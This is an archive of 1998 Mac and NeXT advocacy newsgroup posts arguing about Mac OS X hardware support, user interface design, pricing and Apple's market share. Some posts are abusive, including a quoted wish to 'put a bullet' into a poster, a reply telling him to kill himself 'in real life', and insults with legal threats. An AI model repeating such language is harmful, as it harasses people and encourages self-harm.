that they stuck to the hardware mostly. They have been wishy-washy enough
about that and probably would have futzed up any attempt. Now, though
Apple seems to be doing better. It might be time to start hitting on the
OS (well, UI).
> (watch out, anecdotal evidence!)
I'll accept it this time since it mostly agrees with my anecdotal
evidence. :)
> we had many, many users we had to turn away because
> their hardware was too poor (14.4 modem, 66 MHz 68040 was our cutoff.)
> Their response was universal: "I just spent $3000 five years ago on this
> damn thing, and you tell me it's obsolete?!?" They are just totally
> disconnected from the computer world, so much that Apple can't reach them,
> or they are on an extremely tight budget and have other expenses. Or their
> current hardware/software suits their needs and they see no reason to
> upgrade whatsoever.
I think Apple could work to give them reasons. Some people complain that
Apple 'preaches to the choir' too often. I don't think Apple does it quite
enough (or at least not in the right way). Dell's mailings of its little
catalogs might be a good model for Apple to follow and might help in this
regard (or perhaps not... I don't know).
> >Apple has advertised the hardware (and
> > where not the hardware, the platform) quite a bit. Apple needs to push the
> > OS and for users whose machines are indeed too slow or whose architecture
> > is outdated, use the OS to bring them to new hardware.
>
> A tough proposition, as you have mentioned before. The true irony here is
> that the OS (by which you mean the GUI) isn't going to signifigantly
> change with OS X--it will be faster, more stable, and other such things,
> but the biggest changes will be invisible to the average user. Say
> "preemtive multitasking" on television and watch how fast the thumbs reach
> for the channel changer.
Yes, well one of the features of Mac OS 8 was "improved multitasking"
IIRC.
> Luckily, Apple support for games is improving radically; both Jobs and
> Tervanian mentioned games in their talks and many, many game companies
> were at MacWorld.
Yup. This is a good thing. Apple really needs AGP though. The lack of it
is becoming a major minus to the platform now. PCI just doesn't have the
necessary throughput. A lot of support is going into AGP and this would be
an area where Apple could add it vaguely like the switchover from NuBus to
PCI.
> > Apple can profit off the obsoletion of old hardware even through the OS. I
> > have little problem with that up to a point. Dropping support for the
> > pre-G3 PCI PowerMacs goes past that point. I'm even bothered by the lack
> > of support for the NuBus PowerMacs, but I can at least understand that.
>
> I think Apple is faced by the proverbial slippery slope, and chose to stay
> at the absolute top of the hill rather than put even one foot on the
> slide. If they make G3-upgraded Macs work, then the 604e owners will
> scream.
Just a note here. Apple has to do _nothing_ to support the G3 upgraded
(PCI anyway) PowerMacs. All Apple has to do is support the machines as
Apple configured them. The OS will run on the upgrade cards. THe 3rd
parties who make the cards then just have to write the drivers to turn on
the backside cache and a couple other PPC 750 specific things.
> If they make high-end 604e's like the 9600 work, then the 601/603
> crowd will have fits.
I think they will already have fits. This would just be an attempt to
reduce the number of fits to a minimum.
> Apple is just taking the chance that people will
> switch rather than bitch. It is a gamble, I agree. You think Apple may
> lose it; I think Apple will win it. We could be looking at the same glass
> of water and playing the half full/half empty game. Only time will tell,
> and we've got a year and a half to wait before anyone knows the real
> answer.
Yup. There is time yet. 6 months into the project, Apple could decide
things are going so well that adding support for these machines will not
affect the original scheduled release. It could be that Apple's schedule
is not so ambitious as it seems and that support for older machines will
be possible. It might be that it truly wouldn't take too much extra work
(as I suspect) and Apple could do it without affecting the release
(significantly).
I just want to encourage Apple to try. If it's not possible, then so be
it. If it's just a marketting thing, then I will be rather pissed, and I
won't be alone.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 08:33:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6phe0p$kdi$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net>
In article <Josh.McKee-2607980957160001@pm3a6.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> To whit: All you did is show examples where the Macs multitasking is
> blocked. Since I can show you that Windows 95's multitasking can be
> blocked as well, they are merely equal.
So you are using the argument pattern:
X causes Y in Z
A causes Y in B
Therefore Y is equally problematic in both Z and B
Do you really believe that? BTW, name one operating system that allows you to
switch processes at any point. There aren't any that I am aware of. Does that
mean that all computer systems have equal multitasking capabilities?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Mon, 27 Jul 1998 08:20:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6phd87$k04$1@nnrp1.dejanews.com>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230>
In article <B1E0AE57-1BF4E@128.138.177.230>,
"Jay Riley" <datamagik@usa.net> wrote:
> The objects can be
> implemented identically at the machine level.
No they cannot be. C++ does not allow you to bind objects to methods at
runtime.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35bc35f1.0@nnrp1.news.uk.psi.net>
Date: 27 Jul 98 08:10:25 GMT
Michael Peck <mjpeck@nstar.net> wrote:
>John Kheit wrote:
>
>> I suggest they act sensibly. That means not limiting their desktop/laptop
>> machines to the LCD of a palmtop/PDA UI. I've offered ideas on UI and other
>> topics on numerous occassions. I'm sure the majority, if not in total, have
>> been cheezy, stupid or lame. This may well be a similar suggestion. Beyond
>> that, I don't feel the need to give out advice for free--especially when I'm
>> pretty certain it will not be listened to and do no good except to cause me
>> grief.
>
>So what does His Highness think OS vendors should do? Create a different
>UI for every different screen size on the planet? You've as much as
>admitted that the NeXT UI wouldn't be appropriate for screens smaller
>than the original MegaPixel. Your dream UI must be one that switches
>every time one buys a new monitor, or even when you change the
>resolution on your monitor.
Can you and John moderate it a bit? the tone of your argument begins to offend
my delicate sensibilities :-)
Seriously - I think I'll have defend John a bit here (a year or two ago I'm sure
he'd have joined in a rational debate himself - but judging by the high proportion
of direct insults in recent posts, I think he's rather lost his patience with the
hight degree of uninformed posting on this newsgroup nowadays).
I think it's clear from the history of his recent postings in this thread that he
would advocate either a small number of different UIs appropriate to radically
different displays, or a UI with some switchable behaviours to adjust to different
displays. This is perfectly reasonable, and in no way comparable to 'a different
>UI for every different screen size on the planet'.
I don't know what size the original MegaPixel display was - John has stated that
a good 15 inch display at 1024x768 pixels works fine with NeXTstep for him, and
I'd go along with that view.
There is really little doubt that the MacOS GUI is the best available for small
displays (say 11" and under or low quality up to 13") while the NeXT GUI is the
best for larger displays (17" upwards and high quality above 15").
In between there is a grey area where is is really quite difficult to decide
which GUI offers the best compromise.
Currently, the majority of computer owners have systems that live somewhere in
that grey area, with laptop users being near the low end and desktop users near
the high end but, as John pointed out, with the tendency being to move to ever
larger, better quality displays.
The only reasonable approach for Apple then, is to produce MacOS-X with a NeXT-like
UI for desktop users and a MacOS-8-like UI for laptop users.
There should be a simple toggle to switch between the two looks, but it would also
be sensible to permit users to switch individual characteristics of the UI to suit
themselves and switch between their own saved profiles and the standard ones
(rather like the MacOS extensions manager lets you save sets of extensions and yet
switch to standard (eg installation) sets when necessary).
I know that Apple has gone part way toward this with icon scaling to include the
larger NeXT icons that are appropriate to large displays.
If they could also switch between NeXT-style application switching controls
(quick and simple, but using a lot of screen real-estate) and the rather horrible
(but compact) MacOS-8 task menu in the top-right of the screen, they would have
gone a long way to providing a GUI that could be made to function really well in
both screen environments.
>
>What's appropriate is what's omni-capable.
I'm sure that what this sounds like can't be what you mean as is directly contradicts
your previously stated preference for X-based GUIs that generally are quite restricted
in themselves and require hacking at the X-defaults level to tailor them to specific
tasks. One of the advantages of X-based stuff is that, rather than the GUIs trying to
be 'omni-capable', they expect you to change them.
I'm not a huge fan of customisability taken to the lengths that X takes it, but the
basic principle is sound.
I think that one of the reasons that X-GUIs are such a pig for people (other than X
experts) is that their developers (being X experts themselves of course) find it
hard to see what users would want in the way of customization tools as the X defaults
system lets them customize everything anyway.
The example of X does not mean that customisability is a bad thing, just that it must
be well thought out, easy to use, easy to correct mistakes etc.
With the yellow-box software, Apple now have the User Preferences system which provides
a good framework for per-user customization of the UI.
Now if only Apple would use it ....
From: "Nathan Dozier" <surfweb@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Nathan Dozier is a lying fool!
Date: 27 Jul 98 01:49:52 -0700
Organization: ICGNetcom
Message-ID: <B1E18D43-16D1C@204.32.201.34>
References: <35B89FC6.8661DDD6@rauland.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy,
nntp://nntp.ix.netcom.com/comp.os.ms-windows.advocacy
On Fri, Jul 24, 1998 7:52 AM, Edwin E. Thorne
<mailto:edwin.thorne@rauland.com> wrote:
> Better yet, we should kill off this dweeb like we killed off Rizzo. This
fukher's posts have no content, and yet he has the gall to attack people
like
Joe R and Jason S. We really need to put a bullet into this sick dogs head
(cyberspatially speaking, not in real life)
You are a lying scumbag! I NEVER attacked either Joe Ragosta or Jason
S. You say MY posts have no content? What have YOU posted besides
these idiotic ravings?
Why don't you kill yourself? In real life. Then my posts won't bother
you. It's the ultimate kill file.
Edwin
Dont hold back now, Anton. Or is this the Edwin personality? Or maybe its
the "macsbug" personality. Or maybe LInda? Or Jane?
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <macman-2707980028330001@d185d1c66.rochester.rr.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <adtEwM9zJ.4DA@netcom.com>
Organization: Jessi Group, Inc.
Date: Mon, 27 Jul 1998 04:25:47 GMT
NNTP-Posting-Date: Mon, 27 Jul 1998 00:25:47 EDT
In article <adtEwM9zJ.4DA@netcom.com>, adt@netcom.com (Anthony D.
Tribelli) wrote:
> That's only the built-in SCSI which is presumably intended for little
> beyond simple connectivity of low speed external devices, Apple's online
> store shows that an ultra wide PCI card is added when upgrading a G3's
> drives from EIDE to SCSI. I'm sure this card has an external connector.
Yes, and external connector that cannot be used since all the the
available cable length is used by the internal hard drive.
The high end G3 ships with all slots full: 100BT Ethernet, UW SCSI, Ix3D,
and even the 6-megs of on board video.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Date: Sun, 26 Jul 1998 01:07:34 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607980107340001@sdn-ar-001casbarp310.dialsprint.net>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b92340.0@news.velocity.net> <joe.ragosta-2407982257280001@elk55.dol.net> <35b9f787.58776397@news.mindspring.com> <35BACDF6.E2E492AD@no.reply>
In article <35BACDF6.E2E492AD@no.reply>, no.email@no.reply wrote:
> I've been accused of spamming this news group for posting messages like this
> one. It seems as if some people believe this NG is for flaming the Mac and
> posting PC spam. Apparently posts about Mac products are spam in a Mac
> advocacy group, but posts about PC products are okay.
>
> You can get a Mac for the same price that would blow the doors of the PC you
> listed, BTW.
HAHAHAHAHAHAHAH, yeah if you want to run the ever so usefull app
"bytemark" you would kill it. Now if you want to use word 98, excel 98,
quake, photoshop, the mac would most definitely not blow the doors off the
pc.
According to APple, a g3 266 is *ONLY* %30 faster than a p2 266. If the
two cost the same ammount, that would be kick ass. Except, a p2 266 with
the same cd the g3 has (not just the same speed, but the exact same model)
, the exact same model hard drive (WD caviar (sp?) 6 gig), same ammount of
ram, same graphics card (ati rage II or rage pro), same ammount of vram,
and 56 k modem and external speakers will cost around $800 in a tower
case. The similiarly equiped g3 266 in a tower case will cost you over
$1700, and thats if you get a awesome deal. The majority of such sales
would be from either macwarehouse or a similiar big mailorder company, or
the apple store. Lets go to the apple store to see what the g3 266 would
cost:
Custom Features
Power Macintosh G3 Minitower
266MHz PowerPC G3
32MB SDRAM - 1 DIMM
6GB IDE
Floppy drive
24x (max) CD-ROM drive
2MB SGRAM built-in
Audio input/output card
10BASE-T Ethernet built-in
56K internal modem with software
Standard Features
3 PCI 2.1-compliant 12" slots
Built-in 64-bit graphics and multimedia
accelerator chip
AppleDesign 104-key keyboard & ADB mouse
Mac OS 8.1 installed
Price $2,379.00
So its three times the cost yet only %30 faster?!??!?
My dad has a sub $1000 pc, I have a g3. I have looked at the innards of
both machines, my $1700 list g3 has the EXACT SAME MODEL hard drive as
his, and cd. His pc came with more vram than mine, and twice the ram.
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
Date: Sun, 26 Jul 1998 07:34:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2607980734360001@elk85.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net> <6pd4gp$a9d$1@news.xmission.com> <joe.ragosta-2507981921450001@elk82.dol.net> <6pdtb7$kif$1@news.xmission.com>
In article <6pdtb7$kif$1@news.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > Wait a second. The people who made the allegation that Apple caused Novell
> > to drop Netware for NT haven't provided any evidence. They're the one
> > making a silly allegation and need to provide proof.
>
> Wait a second. The people who made the allegation that Novell dropped
> NetWare for PPC out of the clear blue sky, without any influence
> whatsoever from Apple, haven't provided any evidence. They're the ones
> making a silly allegation and need to provide proof.
You've got this completely backwards. One of the anti-Apple FUDsters
started this whole thread by saying that Apple is responsible for PPC's
failure to capture 10% of the market. Their argument, their burden of
proof.
Furthermore, the concept that Apple somehow forced Novell to drop Netware
for PPC is a rather strange concept. The people advancing it have the
burden of proof for that reason alone. If I say it rained in this area 5
times in June, that's not surprising. If I say it rained every day in
June, that would be surprising and I'd be expected to back up that
statement.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 26 Jul 1998 07:31:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2607980731370001@elk85.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com> <joe.ragosta-2207980820060001@wil103.dol.net> <6p503r$b1o$1@lwnws01.ne.highway1.com>
In article <6p503r$b1o$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > The weaknesses in Mac OS are hardly equivalent to consistent and
> > severe violations of human rights.
>
> And you merely saying so just proves your point in your mind, I'm sure. The
> point is the principle may be applied orthogonally. Just because it doesn't
> suit your biased purpose, doesn't mean it aint so.
No one in their right mind would consider minor weaknesses in a computer
platform to be the equivalent of wanton violations of human rights. Just
because you seem to think they're equivalent doesn't make them so.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 06:27:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707980627030001@elk49.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net>
In article <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> But Joe, they are STILL losing market share. The MacOS is not growing, unit
> shipments are growing.
But George, this is not true.
Apple lost market share for a long time. But the most recent reports in
_overall_ market share, retail market share, and educational market share
all show an increase from the earlier quarter.
Now, you could argue that this is unsustainable (and you have). You could
argue that it's too small an increase to matter (and you have). You could
argue a lot of things--most of them harder to refute. But your continued
insistence that the Mac is still losing market share is wrong, at least
according to the most recent reports.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 06:29:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707980629360001@elk49.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <Macghod-2507980005020001@sdn-ar-001casbarp150.dialsprint.net> <joe.ragosta-2507980657360001@elk43.dol.net> <gmgraves-2507981429090001@sf-usr1-25-153.dialup.slip.net> <joe.ragosta-2507981928370001@elk82.dol.net> <6pe8kp$gv6@news1.panix.com> <Macghod-2507982221060001@sdn-ar-001casbarp254.dialsprint.net>
In article <Macghod-2507982221060001@sdn-ar-001casbarp254.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> In article <6pe8kp$gv6@news1.panix.com>, sal@panix.com wrote:
>
> > On Sat, 25 Jul 1998 19:28:36 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> > >Just what would it take for you to finally admit that Apple did something
> > >right---a 40% overall market share?
> >
> > 2 years of solid growth would be a start.
> >
> > Apple might be _better_ but they are not _well_
>
> Better watch it Sal, or else preety soon Joe will call you a troll or a
> FUDster ;)
Wrong, Steve. As you should know by now, I only call people FUDsters when
their statements are consistently wrong.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 06:28:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2707980628590001@elk49.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com> <MPG.101f2ac1586559089899d9@news.supernews.com> <6p3ujp$jg8$1@lwnws01.ne.highway1.com> <MPG.10203f07d39d48329899df@news.supernews.com> <6pglaq$1i1$5@lwnws01.ne.highway1.com>
In article <6pglaq$1i1$5@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> don.brown@cesoft.com (Donald Brown) wrote:
> > In article <6p3ujp$jg8$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > says...
> > > don.brown@cesoft.com (Donald Brown) wrote:
> > > > In article <6p39n6$654$1@lwnws01.ne.highway1.com>,
> > > > jkheit@mediaone.net says...
> > > > > don.brown@cesoft.com (Donald Brown) wrote:
> > > You must be a lame OOP programmer to have difficult with systems
> > > when they actually work in orthogonal ways.
> >
> > Ah, the ad hominem arguement. Always effective.
>
> You're correct. That was stupid of me, and I'm sorry. The
> aggitational stick must have traveled far up my posterior that day.
> It was unwarranted and I feel bad about it.
Let's see if I understand this.
In another thread, I made a mistake and attributed a statement to you that
wasn't yours. I even stated that it was you "if I remember correctly". Yet
you threatened to sue my butt to high heaven not once, but twice.
Here, you call someone a lame programmer which is a direct slander against
his professionalism.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 06:31:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707980631070001@elk49.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com>
In article <6pglve$1i1$6@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Sorry, I was wrong--it wasn't you. Which is why I said "IIRC" or "if I
> > remember correctly".
> >
> > As for suing me and punishing me to the extent the law will allow, I'm LOL.
>
> As long as your my little bitch and do what I said, self mockery doesn't
> concern me. As for trying me sparky. All I can say is if you try it one
> more time, I'll do my best to educate as to all my possible remedies for any
> further misrepresentations.
Sure. And in another thread you called Donal Brown a lame programmer which
is direct libel. That's supposed to be OK, but I say that if I remember
something correctly..... and I turn out to be wrong and you threaten to
sue me?
I guess you really _are_ threatened by people pointing out the facts in
this group.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 06:35:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2707980635270001@elk49.dol.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com>
In article <6pgjkh$1i1$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> > First of all, the success of Windows CE has shown that people don't mind
> > translating a desktop metaphor to a portable. And through the market
> > failure of the Newton, Apple has shown that people really don't want to use
> > a new interface, even if it is better suited to a portable device. So
> > making a smaller device that uses the Mac OS seems like the next logical
